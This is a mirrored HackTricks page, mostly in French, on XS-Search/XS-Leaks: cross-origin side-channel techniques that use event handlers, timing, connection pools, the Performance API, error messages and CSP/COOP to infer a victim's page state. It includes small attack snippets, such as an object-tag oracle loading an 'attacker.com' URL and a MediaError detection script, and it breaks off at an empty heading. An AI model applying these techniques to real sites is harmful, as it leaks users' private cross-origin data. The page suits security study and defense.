Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/README.md

92 KiB
Raw Blame History

XS-Search/XS-Leaks

Utilisez **** pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informations de base

XS-Search est une méthode utilisée pour extraire des informations cross-origin en exploitant des vulnérabilités de canal auxiliaire.

Les composants clés impliqués dans cette attaque comprennent :

  • Web vulnérable : Le site web cible à partir duquel les informations doivent être extraites.
  • Web de l'attaquant : Le site web malveillant créé par l'attaquant, que la victime visite, hébergeant l'exploit.
  • Méthode d'inclusion : La technique employée pour incorporer le Web vulnérable dans le Web de l'attaquant (par exemple, window.open, iframe, fetch, balise HTML avec href, etc.).
  • Technique de fuite : Techniques utilisées pour discerner les différences dans l'état du Web vulnérable en fonction des informations recueillies par la méthode d'inclusion.
  • États : Les deux conditions potentielles du Web vulnérable, que l'attaquant vise à distinguer.
  • Différences détectables : Variations observables sur lesquelles l'attaquant s'appuie pour inférer l'état du Web vulnérable.

Différences détectables

Plusieurs aspects peuvent être analysés pour différencier les états du Web vulnérable :

  • Code d'état : Distinguer entre divers codes d'état de réponse HTTP cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
  • Utilisation de l'API : Identifier l'utilisation des API Web à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
  • Redirections : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
  • Contenu de la page : Observer les variations dans le corps de la réponse HTTP ou dans les sous-ressources de la page, telles que le nombre de cadres intégrés ou les disparités de taille dans les images.
  • En-tête HTTP : Noter la présence ou éventuellement la valeur d'un en-tête de réponse HTTP spécifique, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
  • Temps : Remarquer des disparités de temps cohérentes entre les deux états.

Méthodes d'inclusion

  • Éléments HTML : HTML offre divers éléments pour l'inclusion de ressources cross-origin, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée sur https://github.com/cure53/HTTPLeaks.
  • Cadres : Des éléments tels que iframe, object et embed peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page manque de protection contre le framing, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
  • Pop-ups : La méthode window.open ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un handle de fenêtre pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le cadre de l'authentification unique, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
  • Requêtes JavaScript : JavaScript permet des requêtes directes vers des ressources cibles en utilisant XMLHttpRequests ou l'API Fetch. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP.

Techniques de fuite

  • Gestionnaire d'événements : Une technique de fuite classique dans XS-Leaks, où des gestionnaires d'événements comme onload et onerror fournissent des informations sur le succès ou l'échec du chargement des ressources.
  • Messages d'erreur : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant sa présence et son absence.
  • Limites globales : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
  • État global : Les interactions détectables avec les états globaux des navigateurs (par exemple, l'interface History) peuvent être exploitées. Par exemple, le nombre d'entrées dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
  • API de performance : Cette API fournit des détails de performance de la page actuelle, y compris le timing réseau pour le document et les ressources chargées, permettant d'inférer sur les ressources demandées.
  • Attributs lisibles : Certains attributs HTML sont lisibles cross-origin et peuvent être utilisés comme technique de fuite. Par exemple, la propriété window.frame.length permet à JavaScript de compter les cadres inclus dans une page web cross-origin.

Outil XSinator & Document

XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son document : https://xsinator.com/paper.pdf

Vous pouvez accéder à l'outil sur https://xsinator.com/

{% hint style="warning" %} XS-Leaks exclus : Nous avons dû exclure les XS-Leaks qui reposent sur des workers de service car ils interfèreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spécifique. Par exemple, les erreurs de configuration CrossOrigin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et inexactes. {% endhint %}


Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Techniques basées sur le temps

Certaines des techniques suivantes vont utiliser le temps comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes manières de mesurer le temps dans un navigateur web.

Horloges : L'API performance.now() permet aux développeurs d'obtenir des mesures de temps à haute résolution.
Il existe un nombre considérable d'APIs que les attaquants peuvent abuser pour créer des horloges implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d'autres.
Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniques de gestionnaire d'événements

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

L'exemple de code essaie de charger des objets de scripts depuis JS, mais d'autres balises telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter la balise directement et de déclarer les événements onload et onerror à l'intérieur de la balise (au lieu de l'injecter depuis JS).

Il existe également une version sans script de cette attaque :

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

Cette technique est similaire à la précédente, mais l'attaquant va également forcer une action pour prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements unload et beforeunload. L'événement beforeunload est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l'événement unload se produit lorsque la navigation a effectivement lieu. La différence de temps entre ces deux événements peut être calculée pour déterminer la durée que le navigateur a passée à récupérer la ressource.

Sandboxed Frame Timing + onload

Il a été observé qu'en l'absence de Framing Protections, le temps nécessaire pour qu'une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attaquant. Cette mesure est généralement possible car le gestionnaire onload d'un iframe est déclenché uniquement après l'achèvement du chargement des ressources et de l'exécution de JavaScript. Pour contourner la variabilité introduite par l'exécution de scripts, un attaquant pourrait utiliser l'attribut sandbox dans le <iframe>. L'inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l'exécution de JavaScript, facilitant ainsi une mesure qui est principalement influencée par la performance du réseau.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Contenu de la page
  • More info:
  • Summary: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n'importe quel contenu est accédé, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps.
  • Code Example:

Supposons que vous puissiez insérer la page qui contient le contenu secret dans un Iframe.

Vous pouvez faire rechercher à la victime le fichier qui contient "flag" en utilisant un Iframe (en exploitant un CSRF par exemple). À l'intérieur de l'Iframe, vous savez que l'événement onload sera exécuté toujours au moins une fois. Ensuite, vous pouvez changer l'URL de l'iframe mais en changeant uniquement le contenu du hash à l'intérieur de l'URL.

Par exemple :

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la première URL a été chargée avec succès, alors, lorsque vous changez la partie hash de l'URL, l'événement onload ne sera pas déclenché à nouveau. Mais si la page avait une sorte d'erreur lors du chargement, alors, l'événement onload sera déclenché à nouveau.

Ensuite, vous pouvez distinguer entre une page chargée correctement ou une page qui a une erreur lorsqu'elle est accédée.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Contenu de la page
  • More info:
  • Summary: Si la page renvoie le contenu sensible, ou un contenu qui peut être contrôlé par l'utilisateur. L'utilisateur pourrait définir un code JS valide dans le cas négatif, un chargement à chaque essai à l'intérieur des <script> tags, donc dans les cas négatifs, le code des attaquants est exécuté, et dans les cas affirmatifs, rien ne sera exécuté.
  • Code Example:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: Éléments HTML
  • Detectable Difference: Code d'état & En-têtes
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) est une mesure de sécurité qui empêche les pages web de charger certaines ressources sensibles d'origine croisée pour se protéger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une réponse soumise à CORB renvoie un Content-Type protégé par CORB avec nosniff et un code d'état 2xx, CORB supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du code d'état (indiquant le succès ou l'erreur) et du Content-Type (indiquant s'il est protégé par CORB), ce qui peut entraîner une fuite d'informations potentielle.
  • Code Example:

Vérifiez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.

onblur

Il est possible de charger une page à l'intérieur d'un iframe et d'utiliser le #id_value pour faire focaliser la page sur l'élément de l'iframe avec l'id indiqué, puis si un signal onblur est déclenché, l'élément ID existe.
Vous pouvez effectuer la même attaque avec des tags portal.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: Utilisation de l'API
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Rassembler des informations sensibles à partir d'un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l'état de l'utilisateur sur la page
  • Code Example: Tout code écoutant tous les postMessages.

Les applications utilisent fréquemment des postMessage broadcasts pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des informations sensibles si le paramètre targetOrigin n'est pas correctement spécifié, permettant à n'importe quelle fenêtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un oracle ; par exemple, certains messages peuvent n'être envoyés qu'aux utilisateurs qui sont connectés. Par conséquent, la présence ou l'absence de ces messages peut révéler des informations sur l'état ou l'identité de l'utilisateur, comme s'il est authentifié ou non.

Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Techniques de Limites Globales

WebSocket API

Il est possible d'identifier si, et combien, de connexions WebSocket une page cible utilise. Cela permet à un attaquant de détecter les états de l'application et de révéler des informations liées au nombre de connexions WebSocket.

Si une origine utilise le nombre maximum d'objets de connexion WebSocket, indépendamment de l'état de leurs connexions, la création de nouveaux objets entraînera des exceptions JavaScript. Pour exécuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenêtre pop-up ou un iframe et ensuite, après que le site web cible a été chargé, tente de créer le maximum possible de connexions WebSocket. Le nombre d'exceptions levées est le nombre de connexions WebSocket utilisées par la fenêtre du site web cible.

Payment API

Cette fuite XS permet à un attaquant de détecter quand une page d'origine croisée initie une demande de paiement.

Parce que une seule demande de paiement peut être active à la fois, si le site cible utilise l'API de demande de paiement, toute tentative ultérieure d'utiliser cette API échouera, et provoquera une exception JavaScript. L'attaquant peut exploiter cela en tentant périodiquement d'afficher l'interface utilisateur de l'API de paiement. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.

Timing the Event Loop

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript fonctionne sur un modèle de concurrence à boucle d'événements à thread unique, signifiant qu'il ne peut exécuter qu'une seule tâche à la fois. Cette caractéristique peut être exploitée pour évaluer combien de temps le code d'une autre origine prend pour s'exécuter. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un attaquant peut déduire le temps qu'il faut pour que ces événements externes s'exécutent en observant les retards dans l'exécution de ses propres tâches. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code provenant de différentes origines, exposant potentiellement des informations sensibles.

{% hint style="warning" %} Dans un timing d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger. {% endhint %}

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (généralement dû au Contenu de la page, Code d'état)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer combien de temps il faut pour que la boucle d'événements soit à nouveau disponible. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
  • Code Example:

Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner l'Isolation de Site. L'Isolation de Site est une fonctionnalité de sécurité qui sépare différents sites web en processus distincts, visant à empêcher les sites malveillants d'accéder directement aux données sensibles d'autres sites. Cependant, en influençant le timing d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par l'Isolation de Site.

{% hint style="warning" %} Dans un timing d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger. {% endhint %}

Connection Pool

  • Inclusion Methods: Requêtes JavaScript
  • Detectable Difference: Timing (généralement dû au Contenu de la page, Code d'état)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a mis à charger.
  • Code Example:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du système d'exploitation et du matériel, les navigateurs sont contraints d'imposer une limite au nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :

  1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globales.
  2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes à divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
  3. Utiliser la 256ème socket pour envoyer une requête à la page cible.
  4. Tenter une 257ème requête à un autre hôte. Étant donné que toutes les sockets sont utilisées (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'une socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de timing sur l'activité réseau liée à la socket de la 256ème (la socket de la page cible). Cette inférence est possible car les 255 sockets de l'étape 2 sont toujours engagées, ce qui implique que toute nouvelle socket disponible doit être celle libérée de l'étape 3. Le temps nécessaire pour que la 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.

Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: Requêtes JavaScript
  • Detectable Difference: Timing (généralement dû au Contenu de la page, Code d'état)
  • More info:
  • Summary: C'est comme la technique précédente mais au lieu d'utiliser toutes les sockets, Google Chrome impose une limite de 6 requêtes simultanées à la même origine. Si nous bloquons 5 et ensuite lancions une 6ème requête, nous pouvons la chronométrer et si nous avons réussi à faire en sorte que la page victime envoie plus de requêtes au même point de terminaison pour détecter un statut de la page, la 6ème requête prendra plus de temps et nous pourrons le détecter.

Techniques de l'API de Performance

L'API de Performance offre des informations sur les métriques de performance des applications web, enrichies par l'API de Timing des Ressources. L'API de Timing des Ressources permet de surveiller les temps de requêtes réseau détaillés, tels que la durée des requêtes. Notamment, lorsque les serveurs incluent l'en-tête Timing-Allow-Origin: * dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.

Cette richesse de données peut être récupérée via des méthodes comme performance.getEntries ou performance.getEntriesByName, fournissant une vue complète des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de performance.now(). Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de performance.now() peut être limitée aux millisecondes, ce qui pourrait affecter la granularité des mesures de timing.

Au-delà des mesures de timing, l'API de Performance peut être exploitée pour des informations liées à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet performance dans Chrome peut indiquer l'application de X-Frame-Options. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de X-Frame-Options, elle ne sera pas enregistrée dans l'objet performance, fournissant un indice subtil sur les politiques de cadre de la page.

Error Leak

Il est possible de différencier entre les codes d'état de réponse HTTP car les requêtes qui entraînent une erreur ne créent pas d'entrée de performance.

Style Reload Error

Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent le chargement de ressources deux fois lorsqu'elles échouent à se charger. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.

Request Merging Error

La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Un attaquant peut détecter si une requête a entraîné un corps de réponse HTTP vide car les pages vides ne créent pas d'entrée de performance dans certains navigateurs.

XSS-Auditor Leak

Dans les Assertions de Sécurité (SA), l'Auditeur XSS, initialement destiné à prévenir les attaques de Cross-Site Scripting (XSS), peut paradoxalement être exploité pour fuir des informations sensibles. Bien que cette fonctionnalité intégrée ait été supprimée de Google Chrome (GC), elle est toujours présente dans SA. En 2013, Braun et Heiderich ont démontré que l'Auditeur XSS pouvait bloquer involontairement des scripts légitimes, entraînant de faux positifs. S'appuyant sur cela, des chercheurs ont développé des techniques pour extraire des informations et détecter un contenu spécifique sur des pages d'origine croisée, un concept connu sous le nom de XS-Leaks, initialement rapporté par Terada et élaboré par Heyes dans un article de blog. Bien que ces techniques soient spécifiques à l'Auditeur XSS dans GC, il a été découvert que dans SA, les pages bloquées par l'Auditeur XSS ne génèrent pas d'entrées dans l'API de Performance, révélant une méthode par laquelle des informations sensibles pourraient encore être divulguées.

X-Frame Leak

Si une page n'est pas autorisée à être rendu dans un iframe, elle ne crée pas d'entrée de performance. En conséquence, un attaquant peut détecter l'en-tête de réponse X-Frame-Options.
Il en va de même si vous utilisez une balise embed.

Download Detection

De manière similaire à la fuite XS décrite, une ressource qui est téléchargée en raison de l'en-tête ContentDisposition ne crée pas non plus d'entrée de performance. Cette technique fonctionne dans tous les navigateurs majeurs.

Redirect Start Leak

Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans SA, il est possible de détecter si l'utilisateur est redirigé par la page cible, en interrogeant l'API de Performance et en vérifiant les données de timing redirectStart.

Duration Redirect Leak

Dans GC, la durée pour les requêtes qui entraînent une redirection est négative et peut donc être distinguée des requêtes qui ne résultent pas en une redirection.

CORP Leak

Dans certains cas, l'entrée nextHopProtocol peut être utilisée comme une technique de fuite. Dans GC, lorsque l'en-tête CORP est défini, le nextHopProtocol sera vide. Notez que SA ne créera pas d'entrée de performance du tout pour les ressources activées par CORP.

Service Worker

Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arrière-plan d'une page web et peuvent intercepter, modifier et mettre en cache des ressources pour créer des applications web hors ligne.
Si une ressource mise en cache par un service worker est accédée via iframe, la ressource sera chargée à partir du cache du service worker.
Pour détecter si la ressource a été chargée à partir du cache du service worker, l'API de Performance peut être utilisée.
Cela pourrait également être fait avec une attaque de timing (voir le document pour plus d'infos).

Cache

En utilisant l'API de Performance, il est possible de vérifier si une ressource est mise en cache.

Network Duration

Technique des Messages d'Erreur

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

L'interface MediaError a une propriété message qui identifie de manière unique les ressources qui se chargent avec succès grâce à une chaîne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de réponse d'une ressource cross-origin.

Erreur CORS

Cette technique permet à un attaquant d'extraire la destination d'une redirection d'un site cross-origin en exploitant la manière dont les navigateurs basés sur Webkit gèrent les requêtes CORS. Plus précisément, lorsqu'une requête activée CORS est envoyée à un site cible qui émet une redirection basée sur l'état de l'utilisateur et que le navigateur refuse ensuite la requête, l'URL complète de la cible de la redirection est divulguée dans le message d'erreur. Cette vulnérabilité révèle non seulement le fait de la redirection, mais expose également le point de terminaison de la redirection et tout paramètre de requête sensible qu'il peut contenir.

Erreur SRI

Un attaquant peut exploiter des messages d'erreur verbeux pour déduire la taille des réponses cross-origin. Cela est possible grâce au mécanisme d'Intégrité des Sous-ressources (SRI), qui utilise l'attribut d'intégrité pour valider que les ressources récupérées, souvent depuis des CDN, n'ont pas été altérées. Pour que le SRI fonctionne sur des ressources cross-origin, celles-ci doivent être activées CORS ; sinon, elles ne sont pas soumises à des vérifications d'intégrité. Dans les Assertions de Sécurité (SA), tout comme l'erreur CORS XS-Leak, un message d'erreur peut être capturé après qu'une requête fetch avec un attribut d'intégrité échoue. Les attaquants peuvent délibérément déclencher cette erreur en assignant une valeur de hachage fictive à l'attribut d'intégrité de toute requête. Dans SA, le message d'erreur résultant révèle involontairement la longueur du contenu de la ressource demandée. Cette fuite d'information permet à un attaquant de discerner des variations dans la taille de la réponse, ouvrant la voie à des attaques XS-Leak sophistiquées.

Violation/Détection CSP

Un XS-Leak peut utiliser le CSP pour détecter si un site cross-origin a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais de plus, le domaine de la cible de redirection fuit. L'idée de base de cette attaque est de permettre le domaine cible sur le site de l'attaquant. Une fois qu'une requête est émise vers le domaine cible, il redirige vers un domaine cross-origin. CSP bloque l'accès à celui-ci et crée un rapport de violation utilisé comme technique de fuite. Selon le navigateur, ce rapport peut fuir l'emplacement cible de la redirection.
Les navigateurs modernes n'indiqueront pas l'URL vers laquelle il a été redirigé, mais vous pouvez toujours détecter qu'une redirection cross-origin a été déclenchée.

Cache

Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Quel que soit leur origine, il est possible de déduire si une page cible a demandé un fichier spécifique.

Si une page charge une image uniquement si l'utilisateur est connecté, vous pouvez invalider la ressource (pour qu'elle ne soit plus mise en cache si elle l'était, voir les liens d'informations supplémentaires), effectuer une requête qui pourrait charger cette ressource et essayer de charger la ressource avec une mauvaise requête (par exemple, en utilisant un en-tête referer trop long). Si le chargement de la ressource n'a pas déclenché d'erreur, c'est parce qu'elle a été mise en cache.

Directive CSP

Une nouvelle fonctionnalité dans Google Chrome (GC) permet aux pages web de proposer une Politique de Sécurité de Contenu (CSP) en définissant un attribut sur un élément iframe, avec des directives de politique transmises avec la requête HTTP. Normalement, le contenu intégré doit autoriser cela via un en-tête HTTP, sinon une page d'erreur est affichée. Cependant, si l'iframe est déjà régie par un CSP et que la politique proposée n'est pas plus restrictive, la page se chargera normalement. Ce mécanisme ouvre une voie pour un attaquant afin de détecter des directives CSP spécifiques d'une page cross-origin en identifiant la page d'erreur. Bien que cette vulnérabilité ait été marquée comme corrigée, nos découvertes révèlent une nouvelle technique de fuite capable de détecter la page d'erreur, suggérant que le problème sous-jacent n'a jamais été complètement résolu.

CORP

L'en-tête CORP est une fonctionnalité de sécurité de plateforme web relativement nouvelle qui, lorsqu'elle est définie, bloque les requêtes cross-origin sans CORS vers la ressource donnée. La présence de l'en-tête peut être détectée, car une ressource protégée par CORP générera une erreur lorsqu'elle est récupérée.

CORB

Vérifiez le lien pour plus d'informations sur l'attaque.

Erreur CORS sur la mauvaise configuration de réflexion d'origine

Dans le cas où l'en-tête Origin est réfléchi dans l'en-tête Access-Control-Allow-Origin, un attaquant peut abuser de ce comportement pour essayer de récupérer la ressource en mode CORS. Si une erreur n'est pas déclenchée, cela signifie qu'elle a été correctement récupérée depuis le web, si une erreur est déclenchée, c'est parce qu'elle a été accédée depuis le cache (l'erreur apparaît parce que le cache enregistre une réponse avec un en-tête CORS autorisant le domaine d'origine et non le domaine de l'attaquant).
Notez que si l'origine n'est pas réfléchie mais qu'un caractère générique est utilisé (Access-Control-Allow-Origin: *), cela ne fonctionnera pas.

Technique des Attributs Lisibles

Redirection Fetch

Soumettre une requête en utilisant l'API Fetch avec redirect: "manual" et d'autres paramètres, il est possible de lire l'attribut response.type et s'il est égal à opaqueredirect, alors la réponse était une redirection.

COOP

Un attaquant est capable de déduire la présence de l'en-tête Politique de Ouverture Cross-Origin (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications web pour empêcher les sites externes d'obtenir des références de fenêtres arbitraires. La visibilité de cet en-tête peut être discernée en tentant d'accéder à la référence contentWindow. Dans les scénarios où COOP est appliqué de manière conditionnelle, la propriété opener devient un indicateur révélateur : elle est indéfinie lorsque COOP est actif, et définie en son absence.

Longueur Max de l'URL - Côté Serveur

Si une redirection côté serveur utilise des données utilisateur à l'intérieur de la redirection et des données supplémentaires. Il est possible de détecter ce comportement car généralement les serveurs ont une limite de longueur de requête. Si les données utilisateur sont de cette longueur - 1, parce que la redirection utilise ces données et ajoute quelque chose de supplémentaire, cela déclenchera une erreur détectable via les Événements d'Erreur.

Si vous pouvez d'une manière ou d'une autre définir des cookies pour un utilisateur, vous pouvez également effectuer cette attaque en définissant suffisamment de cookies (cookie bomb) donc avec la taille de réponse augmentée de la réponse correcte, une erreur est déclenchée. Dans ce cas, rappelez-vous que si vous déclenchez cette requête depuis un même site, <script> enverra automatiquement les cookies (vous pouvez donc vérifier les erreurs).
Un exemple de cookie bomb + XS-Search peut être trouvé dans la solution prévue de cette rédaction : https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None ou être dans le même contexte est généralement nécessaire pour ce type d'attaque.

Longueur Max de l'URL - Côté Client

Selon la documentation de Chromium, la longueur maximale d'URL de Chrome est de 2 Mo.

En général, la plateforme web n'a pas de limites sur la longueur des URL (bien que 2^31 soit une limite courante). Chrome limite les URL à une longueur maximale de 2 Mo pour des raisons pratiques et pour éviter de causer des problèmes de déni de service dans la communication inter-processus.

Par conséquent, si l'URL de redirection répond est plus grande dans l'un des cas, il est possible de la faire rediriger avec une URL plus grande que 2 Mo pour atteindre la limite de longueur. Lorsque cela se produit, Chrome affiche une page about:blank#blocked.

La différence notable, est que si la redirection a été complétée, window.origin génère une erreur car un cross-origin ne peut pas accéder à cette info. Cependant, si la limite a été **** atteinte et que la page chargée était about:blank#blocked, l'origine de la fenêtre reste celle du parent, ce qui est une information accessible.

Toutes les informations supplémentaires nécessaires pour atteindre les 2 Mo peuvent être ajoutées via un hash dans l'URL initiale afin qu'il soit utilisé dans la redirection.

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Max Redirections

